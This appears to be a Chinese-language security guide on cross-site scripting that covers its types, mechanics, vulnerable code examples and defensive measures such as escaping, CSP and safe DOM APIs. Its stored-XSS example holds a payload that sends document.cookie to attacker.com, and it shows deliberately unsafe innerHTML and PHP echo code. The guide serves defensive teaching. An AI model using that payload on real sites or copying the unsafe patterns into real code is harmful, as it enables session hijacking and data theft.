跳到主要内容

XSS(跨站脚本攻击)

威胁描述

XSS(Cross-Site Scripting,跨站脚本攻击)是一种注入型攻击,攻击者通过在Web页面中插入恶意脚本,当用户访问该页面时,脚本会在用户浏览器中执行,从而窃取用户信息、劫持用户会话或进行其他恶意操作。

类型分类

1. 反射型XSS

恶意脚本通过URL参数或表单提交等方式被服务器反射回页面,仅在单次请求中临时存在。

2. 存储型XSS

恶意脚本被存储在服务器数据库中,每次用户访问包含该脚本的页面时都会执行,危害范围更广。

3. DOM型XSS

恶意脚本通过修改页面DOM结构直接在浏览器中执行,不涉及服务器交互。

工作原理

  1. 攻击者构造包含恶意脚本的URL、表单或数据
  2. 用户被诱导访问该URL或提交包含恶意脚本的表单
  3. 恶意脚本被嵌入到Web页面中
  4. 用户浏览器执行该脚本,攻击者获取用户信息或控制用户会话

示例代码

反射型XSS示例

<!-- 攻击者构造的URL -->
https://example.com/search?query=<script>alert('XSS')</script>

<!-- 服务器端代码(不安全) -->
<div>搜索结果: <?= $_GET['query'] ?></div>

存储型XSS示例

<!-- 攻击者在评论区提交 -->
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

<!-- 其他用户访问评论区时,脚本会执行 -->
<div class="comment"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script></div>

DOM型XSS示例

// 前端代码(不安全)
const userInput = location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;

// 攻击者构造的URL
https://example.com/page#<script>alert('XSS')</script>

防御措施

1. 输入验证和过滤

对所有用户输入进行验证和过滤,移除或转义危险字符:

// 转义HTML特殊字符
function escapeHTML(str) {
return str.replace(/[&<>"']/g, function(match) {
const escapeMap = {
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&quot;',
"'": '&#39;'
};
return escapeMap[match];
});
}

2. 使用安全的API

使用textContent而非innerHTML,使用setAttribute而非直接修改属性:

// 安全设置文本内容
document.getElementById('output').textContent = userInput;

// 安全设置属性
const img = document.createElement('img');
img.setAttribute('src', userInput);

3. Content-Security-Policy (CSP)

设置CSP头部,限制脚本的来源和执行:

Content-Security-Policy: default-src 'self'; script-src 'self' trusted-cdn.com;

4. 避免使用eval和内联脚本

避免使用eval()Function()等动态执行代码的函数,以及内联事件处理器:

<!-- 不安全 -->
<button onclick="doSomething()">点击</button>

<!-- 安全 -->
<button id="myButton">点击</button>
<script>
document.getElementById('myButton').addEventListener('click', doSomething);
</script>

最佳实践

  1. 对所有用户输入进行严格的验证和转义,无论是来自URL、表单还是API

    • 用户输入可能来自各种渠道,包括URL参数、表单提交、API请求等,所有这些输入都可能包含恶意脚本。
    • 验证输入的格式和类型(如邮箱、手机号等),使用白名单机制只允许特定格式的输入。对于无法验证格式的输入,进行适当的转义处理,如HTML转义、URL转义等。
    • 示例:除了使用前面提到的escapeHTML函数外,对于URL参数可以使用encodeURIComponent进行转义:encodeURIComponent(userInput)
  2. 实施内容安全策略(CSP),提供额外的安全层

    • CSP可以限制浏览器加载和执行脚本的来源,防止内联脚本执行,有效阻止XSS攻击。
    • 设置适当的CSP指令,如default-src、script-src、style-src等,限制资源的加载来源。使用report-only模式进行测试,然后再启用强制模式。
    • 示例:更复杂的CSP配置,如禁止内联脚本和eval函数:Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'self';
  3. 避免使用可能导致XSS的危险API,如innerHTMLouterHTML

    • 这些API允许直接插入HTML内容,如果内容包含用户输入,可能导致XSS攻击。
    • 优先使用安全的API,如textContent、setAttribute等。如果必须使用innerHTML,确保内容已经过严格的过滤和转义。
    • 示例:安全设置元素内容:document.getElementById('output').textContent = userInput;,而不是document.getElementById('output').innerHTML = userInput;
  4. 使用框架提供的安全特性(如React的JSX自动转义)

    • 现代前端框架通常内置了XSS防护机制,如React的JSX会自动转义HTML特殊字符。
    • 了解并正确使用框架提供的安全特性,避免绕过这些机制(如React中的dangerouslySetInnerHTML)。
    • 示例:React中安全渲染用户输入:<div>{userInput}</div>,JSX会自动转义其中的HTML特殊字符。
  5. 定期进行安全测试,包括静态代码分析和渗透测试

    • 安全测试可以发现潜在的XSS漏洞,及时修复这些漏洞可以防止攻击发生。
    • 使用静态代码分析工具(如ESLint、Sonar)检测可能导致XSS的代码模式。进行渗透测试,模拟攻击者尝试注入恶意脚本。
    • 示例:使用OWASP ZAP工具进行主动扫描,检测Web应用中的XSS漏洞。
  6. 保持Web应用程序和依赖库的更新,以防止已知漏洞被利用

    • 许多XSS漏洞是由于使用了存在安全问题的库或框架版本导致的,及时更新可以修复这些漏洞。
    • 使用依赖管理工具(如npm、yarn)定期检查并更新存在安全隐患的依赖包。关注安全公告,及时了解并应对新出现的漏洞。
    • 示例:使用npm audit命令检查项目中的安全漏洞,并使用npm audit fix进行修复。
  7. 对敏感操作实施二次验证,即使发生XSS攻击也能限制损失

    • 二次验证可以防止攻击者通过XSS获取用户权限后执行敏感操作。
    • 对于涉及资金交易、密码修改、个人信息变更等敏感操作,要求用户再次输入密码或进行其他验证。
    • 示例:银行网站在转账时要求用户输入短信验证码,即使账户被劫持,攻击者也无法完成转账。